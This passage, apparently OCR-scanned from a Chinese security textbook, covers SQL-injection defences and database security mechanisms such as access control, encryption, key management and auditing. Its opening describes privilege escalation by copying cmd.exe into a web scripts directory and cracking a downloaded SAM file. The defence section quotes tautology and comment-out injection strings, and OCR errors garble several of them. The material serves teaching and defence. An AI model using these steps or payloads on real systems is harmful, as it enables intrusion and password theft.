户 就 可 以 通过 浏览 器 执行 它 , 进 而 得 到 系统 的 USER 权限 ,实现 对 系统 的 初步 控制 。 

(7) 获得 系统 管理 员 权 限 

ASP 木马 只 有 USER 权限 ,要 想 完全 控制 系统 ,还 要 有 系统 管理 员 的 权限 。 提 升 权限 
的 方法 有 : 复制 cmd. exe 到 可 执行 虚拟 目录 (一 般 为 scripts 目录 ) 下 ,人 为 制造 UNICODE 
漏洞 ;下 载 SAM 文件 ,破解 并 获取 操作 系统 中 的 所 有 用 户 名 和 密码 。 


6.1.4 如何 防 范 SQL 注入 攻击 


要 防止 ASP 应 用 被 SQL 注入 式 攻击 ,只 需 在 将 表单 输入 的 内 容 构造 成 SQL 命令 之 
前 ,把 所 有 的 输入 内 容 过 滤 一 遍 即 可 。 过 滤 输 入 内 容 的 方式 如 下 。 


1. 对 于 动态 构造 SQL 查询 的 场合 

(1) 替换 单 引号 

把 所 有 单独 出 现 的 单 引号 改 成 两 个 单 引 号 ,防止 攻击 者 修改 SQL 命令 的 含义 。 再 来 看 
前 面 的 例子 ,select * from admin where name="or""1"="1' and password="or"1"="1" 
显然 会 得 到 与 select * from admin where name 一 "orl' 一 小 and password 一 "orl' 一 1 不 同 的 
结果 。 

(2) 删除 用 户 输入 内 容 中 的 所 有 连 字符 

防止 攻击 者 构造 出 诸如 select * from admin where name— ztg-and password 一 '" 之 类 
的 查询 ,因为 这 类 查询 的 后 半 部 分 已 经 被 (--) 注 释 掉 , 不 再 有 效 ,攻击 者 只 要 知道 一 个 合法 
的 用 户 登 录 名 称 , 根 本 不 需要 知道 用 户 的 密码 就 可 以 顺利 获得 访问 权限 。 


(3) 限制 用 来 执行 查询 的 数据 库 账 户 的 权限 


用 不 同 的 账户 执行 查询 ,插入 、 更 新 和 删除 操作 。 可 以 防止 原本 用 于 执行 select 命令 的 
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地 方 却 被 用 于 执行 insert, update 或 delete 命令 。 

OD 过 滤 特 殊 字符 

在 接收 URL 参数 时 可 以 通过 SetRequest 函数 过 滤 特 殊 字符 ,防止 SQL 注入 。 

函数 名 : SetRequest(ParaName. RequestType. ParaType)。 

ParaName: 参数 名 称 ,字符 型 。 

ParaType: 参数 类 型 ,数字 型 (1 表示 为 数字 .0 表示 为 字符 ) 。 

RequestType: 请 求 方式 ,数字 型 (0: 直接 请 求 ;1: Request 请 求 ;2: post 请 求 ;3: get 
请 求 ;4: Cookies 请 求 ;5: Web 请 求 ) 。 


2. 用 存储 过 程 来 执行 所 有 的 查询 


SQL 参数 的 传递 方式 将 防止 攻击 者 利用 单 引 号 和 连 字 符 实 施 攻 击 。 此 外 , 它 还 使 得 数 
据 库 权限 可 以 限制 到 只 允许 特定 的 存储 过 程 执行 ,所 有 的 用 户 输 入 必须 遵循 被 调用 的 存储 
过 程 的 安全 上 下 文 , 这 样 就 很 难 再 发 生 注 入 式 攻 击 了 。 


3. 限制 表单 或 查询 字符 串 输入 的 长 度 


如 果 用 户 的 登录 名 最 多 只 有 15 个 字符 ,那么 不 要 认可 表单 中 输入 的 15 个 以 上 的 字符 ， 
这 将 增加 攻击 者 在 SQL 命令 中 插入 有 害 代 码 的 难度 。 


4. 检查 用 户 输入 的 合法 性 ,确信 输入 的 内 容 只 包含 合法 的 数据 


数据 检查 应 当 在 客户 端 和 服务 器 端 都 执行 ,之 所 以 要 执行 服务 器 端 验 证 ,是 为 了 弥补 客 
户 端 验证 机 制 脆弱 的 安全 性 。 因 为 在 客户 端 ,攻击 者 完全 有 可 能 获得 网 页 的 源 代 码 ,修改 验 
证 合法 性 的 脚本 (或 者 直接 删除 脚本 ) ,然后 将 非法 内 容 通过 修改 后 的 表单 提交 给 服务 器 。 
因此 ,要 保证 验证 操作 确实 已 经 执行 ,唯一 的 办 法 就 是 在 服务 器 端 也 执行 验证 。 


5. 将 用 户 登录 名 称 、 密 码 等 数据 加 密 保存 


加 密 用 户 输入 的 数据 ,然后 再 将 它 与 数据 库 中 保存 的 数据 比较 ,这 样 用 户 输入 的 数据 不 
再 对 数据 库 有 任何 特殊 的 意义 ,从 而 也 就 防止 了 攻击 者 注入 SQL 命令 。 


6. 检查 提取 数据 的 查询 所 返回 的 记录 数量 


如 果 程 序 只 要 求 返 回 一 条 记录 ,但 实际 返回 的 记录 却 超过 一 条 , 那 就 当做 出 错 处 理 。 另 
外 ,要 遵循 以 下 4 条 基本 规则 。 

CD 在 构造 动态 SQL 语句 时 ,一定 要 使 用 类 型 安全 的 参数 编码 机 制 。 

(2) 在 部 署 Web 应 用 前 ,要 做 安全 审 评 。 在 每 次 更 新 时 ,还 要 认真 地 对 所 有 的 编码 做 
安全 审 评 。 

(3) 不 要 把 敏感 的 数据 以 明文 的 形式 存放 在 数据 库 里 。 

(4) 只 给 访问 数据 库 的 Web 应 用 所 需 的 最 低 权 限 。 
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6.2 常见 的 数据 库 安全 问题 及 安全 威胁 


数据 库 中 存放 着 重要 的 信息 ,可 能 是 知识 产权 (比如 可 口 可 乐 的 配方 .Microsoft 的 程序 
源 代码 ) ,也 可 能 是 价格 和 交易 数据 或 者 客户 信息 (比如 某 公 司 的 客户 资料 文档 ) 。 数 据 库 中 
的 这 些 数据 作为 商业 信息 或 知识 ,一 旦 遭受 安全 威胁 将 带 来 难以 想象 的 严重 后 果 。 绝 大 多 
数 企 业 甚 至 安全 公司 在 规划 企业 安全 时 往往 把 注意 力 集中 于 网 络 和 操作 系统 的 安全 ,而 忽 
视 最 重要 的 数据 库 安全 。 数 据 库 安全 是 一 个 广阔 的 领域 ,从 传统 的 备份 与 恢复 、 认 证 与 访问 
控制 到 数据 存储 和 通信 环节 的 加 密 , 它 作为 操作 系统 之 上 的 应 用 平台 ,其 安全 与 网 络 和 主机 
的 安全 息息相关 。 


1. 常见 的 数据 库 安全 问题 


尽管 数据 库 安全 性 很 重要 ,但 是 多 数 企 业 还 是 不 愿意 在 发 生 无 可 挽回 的 事件 前 着 手 考 
虑 和 解决 相关 的 安全 问题 ,下 面 列 出 了 常见 的 数据 库 安全 问题 。 

(1) 脆弱 的 账号 设置 

在 许多 成 熟 的 操作 系统 环境 中 ,由 于 受 企 业 安全 策略 或 政府 规定 的 约 东 ,数据库 用 户 往 
往 缺 乏 足够 的 安全 设置 。 比 如 ,默认 的 用 户 账号 和 密码 对 大 家 都 是 公开 的 , 却 没 被 禁用 或 修 
改 以 防止 非 授 权 访 问 。 用 户 账 号 设置 在 缺乏 基于 字典 的 密码 强度 检查 和 用 户 账号 过 期 控制 
的 情况 下 ,只 能 提供 很 有 限 的 安全 功能 。 

(2) 缺乏 角色 分 离 

传统 数据 库 管理 并 没有 “安全 管理 员 (Security Administrator)” 这 一 角色 ,这 就 迫使 数 
据 库 管理 员 (DBA) 既 要 负责 账号 的 维护 管理 ,又 要 专门 对 数据 库 执行 性 能 和 操作 行为 进行 
调试 跟踪 ,从 而 导致 管理 效率 低下 。 

(3) 缺乏 审计 跟踪 

数据 库 审计 经 常 被 DBA 以 提高 性 能 或 节省 磁盘 空间 为 由 忽视 或 关闭 ,这 大 大 降低 了 
管理 分 析 的 可 靠 性 和 效力 。 审 计 跟 踪 对 了 解 哪 些 用 户 行为 导致 某 些 数据 的 产生 至 关 重 要 ， 
它 将 与 数据 直接 相关 的 事件 都 记 入 日 志 , 因 此 ,监视 数据 访问 和 用 户 行为 是 最 基本 的 管理 
手段 。 

(4) 未 利用 的 数据 库 安全 特征 

为 了 实现 个 别 应 用 系统 的 安全 而 忽视 数据 库 安全 是 很 常见 的 事情 。 但 是 ,这 些 安全 措 
施 只 应 用 在 客户 端 软件 的 用 户 上 ,其 他 许多 工具 ,如 Microsoft Access 和 已 有 的 通过 OBDC 
或 专 有 协议 连接 数据 库 的 公用 程序 ,它们 都 绕 过 了 应 用 层 安 全 。 因 此 ,唯一 可 靠 的 安全 功能 
都 应 限定 在 数据 库 系 统 内 部 。 


2. 数据 库 的 安全 威胁 


(1) 数据 库 维护 不 当 

向 数据 库 中 输入 了 错误 或 被 修改 的 数据 ,有 的 敏感 数据 在 输入 过 程 中 已 经 泄露 了 ,已 经 
失去 应 有 的 价值 ;在 数据 库 维护 (添加 删除 .修改 ) 和 利用 的 过 程 中 可 能 对 数据 的 完整 性 造 
成 了 破坏 。 


EC 
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(2) 硬件 故障 

支持 数据 库 系统 的 硬件 环境 故障 ,比如 , 断 电 造成 的 信息 丢失 ;硬盘 故障 致使 数据 库 中 
的 数据 读 不 出 来 ;环境 灾害 和 人 为 破坏 也 是 对 数据 库 系 统 的 威胁 。 

G) 功能 弱 的 数据 库 

如 果 数 据 库 系统 的 安全 保护 功能 很 弱 , 或 者 根本 没有 安全 保护 机 制 ( 如 DBASE 类 数据 
库 ) ,那么 数据 库 的 攻击 者 很 容易 攻破 数据 库 。 

(4) 权限 分 配 混乱 

数据 库 管理 员 专 业 知识 不 够 ,不 能 很 好 地 利用 数据 库 的 保护 机 制 和 安全 策略 ,不 能 合理 
地 分 配 用 户 的 权限 ,或 经 若干 次 改动 后 造成 用 户 权 限 与 用 户 级 别 配合 混乱 ,可 能 会 产生 越权 
访问 的 情况 。 

(5) 黑客 的 攻击 

网 络 黑客 或 内 部 恶意 用 户 整 天 琢磨 操作 系统 和 数据 库 系统 的 漏洞 ,对 网 络 与 数据 库 的 
攻击 手段 不 断 翻 新 ,千方百计 地 设法 入 侵 系统 ;相反 ,各 部 门 对 数据 库 的 安全 防护 经 费 投入 
不 足 ,研究 深度 不 够 ,系统 的 安全 设施 改进 速度 跟 不 上 黑客 对 系统 破解 的 速度 。 

(6) 病毒 的 威胁 

计算 机 病毒 的 威胁 日 益 严 重 ,直接 威胁 网 络 数 据 库 服 务 器 的 安全 。 


6.3 ”数据 库 系统 安全 体系 、 机 制 和 需求 
本 节 介绍 数据 库 系统 的 安全 体系 .安全 机 制 和 安全 需求 。 
6.3.1 数据 库 系 统 安全 体系 


数据 库 系统 的 安全 除 依赖 自身 内 部 的 安全 机 制 外 ,还 与 外 部 网 络 环境 、 应 用 环境 .从 业 
人 员 素 质 等 因素 息息相关 。 因 此 ,从 广义 上 讲 ,数据 库 系 统 的 安全 框架 可 以 分 为 3 个 层次 ， 
网 络 系统 层次 ,宿主 操作 系统 层次 和 数据 库 管理 系统 层次 。 这 3 个 层次 构筑 了 数据 库 系 统 
的 安全 体系 ,与 数据 安全 的 关系 是 逐步 紧密 的 ,防范 的 重要 性 也 逐 层 加 强 ,从 外 到 内 、 由 表 及 
里 保证 数据 的 安全 。 


1. 网 络 系统 层次 安全 技术 


随 着 Internet 的 发 展 和 普及 , 越 来 越 多 的 公司 将 其 核心 业务 向 互联 网 转移 ,面向 网 络 用 
户 提供 各 种 信息 服务 。 可 以 说 ,网 络 系统 是 数据 库 应 用 的 外 部 环境 和 基础 ,数据 库 系 统 要 发 
挥 其 强大 作用 离 不 开 网 络 系统 的 支持 ,数据库 系统 的 用 户 ( 如 异地 用 户 、 分 布 式 用 户 ) 也 要 通 
过 网 络 才能 访问 数据 库 的 数据 。 数 据 库 的 安全 首先 依赖 于 网 络 系统 ,外 部 人 侵 首 先 就 是 从 
人 入侵 网 络 系统 开始 的 。 

网 络 人 侵 具有 以 下 特点 。 

(1) 没有 地 域 和 时 间 的 限制 ,跨越 国界 的 攻击 就 如 同 在 现场 一 样 方便 。 

(2) 通过 网 络 的 攻击 往往 混杂 在 大 量 正常 的 网 络 活动 之 中 ,隐蔽 性 强 。 

(3) 人 侵 手段 更 加 隐蔽 和 复杂 。 


计算 机 安全 技术 


网 络 系统 层次 的 安全 防范 技术 大 致 可 以 分 为 防火 墙 , 和 人 侵 检测 \ 入 侵 防 御 等 技术 。 
2. 宿主 操作 系统 层次 安全 技术 


由 于 数据 库 系 统 在 操作 系统 (OS) 下 都 是 以 文件 的 形式 进行 管理 的 ,所 以 人 侵 者 可 以 直 
接 利用 操作 系统 的 漏洞 窃取 数据 库 文件 ,或 者 直接 利用 操作 系统 工具 来 伪造 、 算 改 数 据 库 文 
件 内容 。 对 于 这 种 安全 隐患 ,一 般 的 数据 库 用 户 是 很 难 察觉 的 。 

操作 系统 是 大 型 数据 库 系 统 的 运行 平台 ,为 数据 库 系统 提供 一 定 程度 的 安全 保护 。 目 
前 操作 系统 平台 大 多 数 为 Windows 和 UNIX, 主 要 安全 技术 有 操作 系统 的 安全 策略 、 安 全 
管理 策略 和 数据 安全 等 。 

操作 系统 安全 策略 用 于 配置 本 地 计算 机 的 安全 设置 ,包括 密码 策略 、 账 户 锁定 策略 、 审 
核 策略 IP 安全 策略 .用户 权利 指派 .加 密 数 据 的 恢复 代理 以 及 其 他 安全 选项 。 具体 可 以 体 
现在 用 户 账户 ,口令 ,访问 权限 、 审 计 等 方面 。 

安全 管理 策略 是 指 网 络 管理 员 对 系统 实施 安全 管理 所 采取 的 方法 及 策略 。 针 对 不 同 的 
操作 系统 、 网 络 环境 需要 采取 的 安全 管理 策略 一 般 也 不 尽 相同 ,其 核心 是 保证 服务 器 的 安全 
和 分 配 好 各 类 用 户 的 权限 。 

数据 安全 主要 体现 在 数据 加 密 技 术 ,数据 备份 .数据 存储 的 安全 性 ` 数 据 传输 的 安全 性 
等 。 可 以 采用 的 技术 有 很 多 ,比如 Kerberos AHE, IPSec, SSL, TLS, VPN 等 技术 。 


3. 数据 库 管理 系统 层次 安全 技术 


数据 库 系统 的 安全 性 很 大 程度 上 依赖 于 数据 库 管 理 系统 (DBMS)。 如 果 数 据 库 管 理 
系统 的 安全 机 制 非常 强大 ,那么 数据 库 系 统 的 安全 性 就 会 很 高 。 目 前 市 场 上 流行 的 是 关 
系数 据 库 管理 系统 (RDBMS) ,其 安全 性 较 弱 ,这 就 导致 了 数据 库 系 统 的 安全 性 存在 一 定 
的 威胁 。 

数据 库 管理 系统 层次 安全 技术 主要 是 用 来 解决 当前 面 两 个 层次 (网 络 系统 、 宿 主 操作 系 
统 ) 已 经 被 突破 的 情况 下 仍 能 保障 数据 库 中 数据 的 安全 ,这 就 要 求 数据 库 管 理 系统 必须 有 一 
套 强 有 力 的 安全 机 制 。 解 决 这 一 问题 的 有 效 方法 之 一 是 数据 库 管 理 系统 对 数据 库 文 件 进行 
加 密 处 理 , 使 得 即使 数据 不 幸 泄露 或 者 丢失 ,也 难以 被 人 破译 和 阅读 。 

可 以 考虑 在 3 个 不 同 层次 实现 对 数据 库 数据 的 加 密 , 这 3 个 层次 分 别 是 : OS 层 .DBMS 
内 核 层 和 DBMS 外 层 。 

(1) OS 层 

在 OS 层 无 法 辨认 数据 库 文件 中 的 数据 关系 ,从 而 无 法 产生 合理 的 密 钥 ,对 密 钥 合理 的 
管理 和 使 用 也 很 难 。 所 以 ,对 于 大 型 数据 库 来 说 ,在 OS 层 对 数据 库 文件 进行 加 密 很 难 
实现 。 

(2) DBMS 内 核 层 

这 种 加 密 是 指数 据 在 物理 存 取 之 前 完成 加 /解密 工作 。 

优点 : 加 密 功 能 强 , 并 且 加 密 功 能 几乎 不 会 影响 DBMS 的 功能 ,可 以 实现 加 密 功 能 与 
数据 库 管理 系统 之 间 的 无 颖 耦合 。 

缺点 : 加 密 运 算 在 服务 器 端 进行 ,加 重 了 服务 器 的 负载 ,而 且 DBMS 和 加 密 器 之 间 的 
接口 需要 DBMS 开发 商 的 支持 。 


第 6 章 ”数据 库 系统 安全 技术 


NOE 


(3) DBMS 外 层 

比较 实际 的 做 法 是 将 数据 库 加 密 系统 做 成 DBMS 的 一 个 外 层 工具 ,根据 加 密 要 求 自动 
完成 对 数据 库 数 据 的 加 /解密 处 理 。 采 用 这 种 加 密 方 式 进行 加 密 , 加 /解密 运算 可 在 客户 端 
进行 。 

优点 : 系统 对 数据 库 的 最 终 用 户 是 完全 透明 的 ,管理 员 可 以 根据 需要 进行 明文 和 密 文 
的 转换 工作 ;加 密 系统 完全 独立 于 数据 库 应 用 系统 ,无 须 改动 数据 库 应 用 系统 就 能 实现 数据 
加 密 功能 ;加 /解密 处 理 在 客户 端 进行 ,不 会 影响 数据 库 服 务 器 的 效率 。 

缺点 : 加 密 功 能 会 受到 一 些 限 制 ,与 数据 库 管 理 系统 之 间 的 耦合 性 稍 差 。 


6.3.2 数据 库 系 统 安 全 机 制 


20 世纪 80 年 代 ,美国 国防 部 根据 军用 计算 机 系统 的 安全 需要 ,制定 了 《可 信 计 算 机 系 
统 安全 评估 标准 》(Trusted Computer System Evaluation Criteria, TCSEC) ,以 及 该 标准 的 
可 信 数 据 库 系 统 的 解释 (Trusted Database Interpretation, TDI) ,从 而 形成 了 最 早 的 信息 安 
全 及 数据 库 安全 评估 体系 。TCSEC/TDI 将 系统 安全 性 分 为 4 组 7 个 等 级 ,依次 是 D( 最 小 
保护 )`.C1( 自 主 安全 保护 )、C2( 受 控 存 取保 护 )、.B1( 标 记 安 全 保护 )、.B2( 结 构 化 保护 )、 
B3( 安 全 域 ) 和 Al( 验 证 设计 ), 按 系统 可 靠 或 可 信 程 度 逐 渐 增 高 。 

数据 库 安 全 机 制 是 用 于 实现 数据 库 的 各 种 安全 策略 的 功能 集合 , 正 是 由 这 些 安全 机 制 
来 实现 安全 模型 ,进而 实现 保护 数据 库 系统 安全 的 目标 。 近 年 来 ,对 用 户 的 认证 与 鉴别 、 存 
取 控 制 ,数据 库 加 密 及 推理 控制 等 安全 机 制 的 研究 取得 了 不 少 新 的 进展 。 


1. 用 户 标识 与 鉴别 


用 户 标识 是 指 用 户 向 系统 出 示 自 己 的 身份 证 明 , 最 简单 的 方法 是 输入 用 户 ID 和 密码 。 
标识 机 制 用 于 唯一 标志 进入 系统 的 每 个 用 户 的 身份 ,因此 必须 保证 标识 的 唯一 性 。 

用 户 鉴 别 是 指 系 统 检 查验 证 用 户 的 身份 证 明 , 用 于 检验 用 户 身 份 的 合法 性 。 

标识 和 鉴别 功能 保证 了 只 有 合法 的 用 户 才能 存 取 系统 中 的 资源 。 

由 于 数据 库 用 户 的 安全 等 级 不 同 ,因此 分 配给 它们 的 权限 也 不 一 样 , 数 据 库 系统 必须 建 
立 严 格 的 用 户 认 证 机 制 。 身 份 的 标识 和 鉴别 是 DBMS 对 访问 者 授权 的 前 提 , 并 且 通 过 审计 
机 制 使 DBMS 保留 追究 用 户 行 为 责任 的 能 力 。 功 能 完善 的 标识 与 鉴别 机 制 也 是 访问 控制 
机 制 有 效 实 施 的 基础 ,特别 是 在 一 个 开放 的 多 用 户 系 统 的 网 络 环境 中 ,识别 与 鉴别 用 户 是 构 
筑 DBMS 安全 防线 的 第 一 个 重要 环节 。 

近年 来 用 户 标识 与 鉴别 技术 的 发 展 非常 迅速 ,一 些 实体 认证 的 新 技术 在 数据 库 系统 
中 得 到 应 用 。 目 前 ,常用 的 方法 有 通行 字 认 证 .数字 证 书 认证 、 智 能 卡 认 证 和 个 人 特征 识 
别 等 。 

(1) 通行 字 认 证 

通行 字 也 称 为 “口令 ”或 “密码 ”, 是 一 种 根据 已 知事 物 验证 身份 的 方法 ,也 是 一 种 最 广泛 
研究 和 使 用 的 身份 验证 法 。 在 数据 库 系统 中 往往 对 通行 字 采 取 一 些 控制 措施 ,常见 的 有 最 
小 长 度 限制 ,次数 限定 .选择 字符 有效 期 , 双 通行 字 和 封锁 用 户 系 统 等 。 一 般 还 需 考虑 通行 
字 的 分 配 和 管理 以 及 在 计算 机 中 的 安全 存储 。 通 行 字 多 以 加 密 形 式 存储 ,这 样 攻击 者 要 得 
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到 通行 字 , 必 须要 知道 加 密 算 法 和 密 钥 。 有 的 系统 存储 通行 字 的 单 向 Hash 值 , 攻 击 者 即使 
得 到 密 文 也 难以 推出 通行 字 的 明文 。 

(2) 数字 证 书 认证 

数字 证 书 是 由 认证 中 心 颁发 并 进行 数字 签名 的 数字 凭证, 它 实现 实体 身份 的 鉴别 与 认 
证 ,信息 完整 性 验证 ,机 密 性 和 不 可 否认 性 等 安全 服务 。 数 字 证 书 认 证 可 用 来 证 明 实体 所 宣 
称 的 身份 与 其 持 有 的 公 钥 的 匹配 关系 ,使 得 实体 的 身份 与 证 书 中 的 公 钥 相互 绑 定 。 

(3) 智能 卡 认 证 

智能 卡 作为 个 人 所 有 物 ,可 以 用 来 验证 个 人 身份 ,典型 智能 卡 主要 由 微 处 理 器 、 存 
储 器 .输入 /输出 接口 、 安 全 人 逻辑 及 运算 处 理 器 等 组 成 。 在 智能 卡 中 引入 了 认证 的 概 
念 ,认证 是 智能 卡 和 应 用 终端 之 间 通 过 相应 的 认证 过 程 来 相互 确认 合法 性 的 过 程 。 在 
卡 和 接口 设备 之 间 只 有 相互 认证 之 后 才能 进行 数据 的 读 写 操作 ,目的 在 于 防止 伪造 应 
用 终端 及 相应 的 智能 卡 。 

(4) 个 人 特征 识别 

根据 被 授权 用 户 的 个 人 特征 来 进行 确认 是 一 种 可 信 度 更 高 的 验证 方法 ,个 人 特征 识别 
应 用 了 生物 统计 学 的 研究 成 果 , 即 利用 个 人 具有 唯一 性 的 生理 特征 来 实现 。 个 人 特征 一 般 
需要 应 用 多 媒体 数据 存储 技术 来 建立 档案 ,相应 的 需要 基于 多 媒体 数据 的 压缩 .存储 和 检索 
等 技术 作为 支撑 。 目 前 已 得 到 应 用 的 个 人 生理 特征 包括 指纹 .语音 声 纹 (voice-print) 、 
DNA .视网膜 .虹膜 ,脸形 和 手 形 等 。 


2. 存 取 控 制 


存 取 控制 的 目的 是 确保 用 户 对 数据 库 只 能 进行 经 过 授权 的 有 关 操 作 。 在 存 取 控制 机 制 
中 ,一 般 把 被 访问 的 资源 称 为 “客体 ”, 把 以 用 户 名 义 进行 资源 访问 的 进程 .事务 等 实体 称 为 
“主体 ”。 

传统 的 存 取 控制 机 制 有 两 种 : DAC 和 MAC, 

DAC(Discretionary Access Control, 自 主 存 取 控制 ): 在 DAC 机 制 中 ,用 户 对 不 同 的 数 
据 对 象 有 不 同 的 存 取 权限 ,而 且 还 可 以 将 其 拥有 的 存 取 权 限 转 授 给 其 他 用 户 。DAC 访问 控 
制 完 全 基于 访问 者 和 对 象 的 身份 。 

MAC(Mandatory Access Control, 强 制 存 取 控制 ): MAC 机 制 对 于 不 同类 型 的 信息 采 
取 不 同 层次 的 安全 策略 ,对 不 同类 型 的 数据 来 进行 访问 授权 。 在 MAC 机 制 中 , 存 取 权限 
不 可 以 转 授 ,所 有 用 户 必须 遵守 由 数据 库 管理 员 建 立 的 安全 规则 。MAC 比 DAC 机 制 
严格 。 

近年 来 ,RBAC(Role-based Access Control, 基 于 角色 的 存 取 控 制 ) 受 到 了 广泛 的 关注 。 
RBAC 在 主体 和 权限 之 间 增 加 了 一 个 中 间 桥 梁 一 一 角色 。 权 限 被 授予 角色 ,而 管理 员 通 过 
指定 用 户 为 特定 角色 来 为 用 户 授权 ,从 而 大 大 简化 了 授权 管理 ,具有 强大 的 可 操作 性 和 可 管 
理性 。 角 色 可 以 根据 组 织 中 的 不 同 工 作 创 建 ,然后 根据 用 户 的 责任 和 资格 分 配角 色 , 用 户 可 
以 轻松 地 进行 角色 转换 。 而 随 着 新 应 用 和 新 系统 的 增加 ,角色 可 以 分 配 更 多 的 权限 ,也 可 以 
根据 需要 撤销 相应 的 权限 。RBAC 属于 策略 中 立 型 的 存 取 控制 模型 , 既 可 以 实现 DAC 策 
略 , 又 可 以 实现 MAC 策略 。RBAC 可 以 有 效 缓解 传统 安全 管理 处 理 的 瓶颈 问题 ,被 认为 是 
一 种 普遍 适用 的 访问 控制 模型 ,尤其 适用 于 大 型 组 织 的 有 效 访问 控制 机 制 。 
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3. 数据 库 加 密 


由 于 数据 库 在 操作 系统 中 以 文件 形式 管理 ,所 以 入 侵 者 可 以 直接 利用 操作 系统 的 漏洞 
窃取 数据 库 文件 ,或 者 自 改 数据 库 文件 内 容 。 另 外 ,数据 库 管 理 员 (DBA) 可 以 任意 访问 所 
有 数据 ,往往 超出 了 其 职责 范围 ,同样 会 造成 安全 隐患 。 因 此 ,数据库 的 保密 问题 不 仅 包括 
在 传输 过 程 中 采用 加 密 保护 和 控制 非法 访问 ,还 包括 对 存储 的 敏感 数据 进行 加 密 保护 ,使 得 
即使 数据 不 幸 泄露 或 者 丢失 ,也 难以 造成 泄密 。 同 时 ,数据库 加 密 可 以 由 用 户 用 自己 的 密 钥 
加 密 敏感 信息 ,而 不 需要 了 解数 据 内 容 的 数据 库 管理 员 无 法 进行 正常 解密 ,从 而 可 以 实现 个 
性 化 的 用 户 隐 私 保护 。 

一 个 好 的 数据 库 加 密 系统 应 该 满足 以 下 几 个 方面 的 要 求 。 

(1) 足够 的 加 密 强 度 , 保 证 数据 长 时 间 内 不 被 破译 。 

(2) 加 密 后 的 数据 库存 储量 没有 明显 的 增加 。 

(3) 加 /解密 速度 足够 快 ,影响 数据 操作 响应 时 间 尽 量 短 。 

(4) 加 /解密 对 数据 库 的 合法 用 户 操作 (如 数据 的 添加 、 删 除 、 修 改 等 ) 是 透明 的 。 

(5) 灵活 的 密 钥 管理 机 制 ,加 /解密 密 钥 存储 安全 ,使 用 方便 可 靠 。 

数据 库 加 密 机 制 从 大 的 方面 可 以 分 为 库 内 加 密 和 库 外 加 密 。 

数据 库 加 密 的 粒度 可 以 有 4 种: 表 、 属 性 ,记录 和 数据 元 素 。 不 同 加 密 粒度 的 特点 不 
同 ,总 的 来 说 ,加 密 粒 度 越 小 , 则 灵活 性 越 好 且 安 全 性 越 高 ,但 实现 技术 也 更 为 复杂 ,对 系统 
的 运行 效率 影响 也 越 大 。 在 目前 条 件 下 ,为 了 得 到 较 高 的 安全 性 和 灵活 性 ,采用 最 多 的 加 密 
粒度 是 数据 元 素 。 为 了 使 数据 库 中 的 数据 能 够 充分 而 灵活 地 共享 ,加 密 后 还 应 当 允 许 用户 
以 不 同 的 粒度 进行 访问 。 

加 密 算法 是 数据 加 密 的 核心 ,一 个 好 的 加 密 算 法 产生 的 密 文 应 该 频率 平衡 ,随机 无 重 
码 ,周期 很 长 而 又 不 可 能 产生 重复 现象 。 窃 密 者 很 难 通过 对 密 文 频率 或 者 重 码 等 特征 的 分 
析 获 得 成 功 。 常 用 的 加 密 算法 包括 对 称 密 钥 算法 和 非 对 称 密 钥 算法 。 


4. 密 钥 管理 


对 数据 库 进行 加 密 ,一般 对 不 同 的 加 密 单 元 采用 不 同 的 密 钥 。 以 加 密 粒 度 为 数据 元 素 
为 例 ,如 果 不 同 的 数据 元 素 采 用 同一 个 密 钥 ,由 于 同一 属性 中 数据 项 的 取 值 在 一 定 范围 之 
内 , 且 往往 呈现 一 定 的 概率 分 布 , 因 此 攻击 者 可 以 不 用 求 原文 ,而 直接 通过 统计 方法 即 可 得 
到 有 关 的 原文 信息 ,这 就 是 所 谓 的 统计 攻击 。 

大 量 的 密 钥 自然 会 带 来 密 钥 管理 的 问题 。 根 据 加 密 粒度 的 不 同 , 系 统 所 产生 的 密 钥 数 
量 也 不 同 。 越 是 细小 的 加 密 粒 度 , 所 产生 的 密 钥 数量 越 多 , 密 钥 管理 也 就 越 复杂 。 良 好 的 密 
钥 管 理 机 制 既 可 以 保证 数据 库 信 息 的 安全 性 ,又 可 以 进行 快速 的 密 钥 交换 ,以 便 进行 数据 
解密 。 

对 数据 库 密 钥 的 管理 一 般 有 集中 密 钥 管理 和 多 级 密 钥 管理 两 种 体制 。 

集中 密 钥 管理 : 设立 密 钥 管理 中 心 。 在 建立 数据 库 时 , 密 钥 管理 中 心 负责 产生 密 钥 并 
对 数据 加 密 ,形成 一 张 密 钥 表 。 当 用 户 访问 数据 库 时 , 密 钥 管理 机 构 核 对 用 户 识别 符 和 用 户 
密 钥 。 通 过 审核 后 ,由 密 钥 管理 机 构 找到 或 计算 出 相应 的 数据 密 钥 。 这 种 密 钥 管理 方式 方 
便 用 户 使 用 和 管理 ,但 由 于 这 些 密 钥 一 般 由 数据 库 管 理 人 员 控 制 ,因而 权限 过 于 集中 。 
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多 级 密 钥 管理 : 目前 研究 和 应 用 比较 多 的 是 多 级 密 钥 管理 体制 ,以 加 密 粒 度 为 数 
据 元 素 的 三 级 密 钥 管理 体制 为 例 , 整 个 系统 的 密 钥 由 一 个 主 密 钥 .每 个 表 上 的 表 密 钥 
以 及 各 个 数据 元 素 密 钥 组 成 。 表 密 钥 被 主 密 钥 加 密 后 以 密 文 形式 保存 在 数据 字典 中 ， 
数据 元 素 密 钥 由 主 密 钥 及 数据 元 素 所 在 行 、 列 通过 某 种 函数 自动 生成 ,一 般 不 需要 保 
存 。 在 多 级 密 钥 体制 中 , 主 密 钥 是 加 密 子 系统 的 关键 ,系统 的 安全 性 在 很 大 程度 上 依 
赖 于 主 密 钥 的 安全 性 。 

数据 库 加 密 技术 在 保证 安全 性 的 同时 ,也 给 数据 库 系统 的 可 用 性 带 来 一 些 影响 。 比 如 
系统 的 运行 效率 降低 、 难 以 实现 对 数据 完整 性 约束 的 定义 、 对 数据 的 SQL 语言 及 SQL 函数 
的 使 用 受到 制约 、 密 文 数据 容易 成 为 攻击 目标 等 。 


5. 数据 库 审计 


数据 库 审计 是 指 监视 和 记录 用 户 对 数据 库 所 施加 的 各 种 操作 的 机 制 。 按 照 美国 国防 部 
TCSEC/TDI 标准 中 关于 安全 策略 的 要 求 , 审 计 功 能 是 数据 库 系 统 达到 C2 以 上 安全 级 别 必 
不 可 少 的 一 项 指标 。 

审计 功能 自动 记录 用 户 对 数据 库 的 所 有 操作 ,并 且 存 入 审计 日 志 。 事 后 可 以 利用 这 些 
信息 重 现 导 臻 数据库 现 有 状况 的 一 系列 事件 ,提供 分 析 攻 击 者 线索 的 依据 。 

数据 库 管理 系统 的 审计 主要 分 为 语句 审计 ,特权 审计 ,模式 对 象 审 计 和 资源 审计 。 

CD 语句 审计 : 指 监视 一 个 ,多 个 特定 用 户 或 者 所 有 用 户 提 交 的 SQL 语句 。 

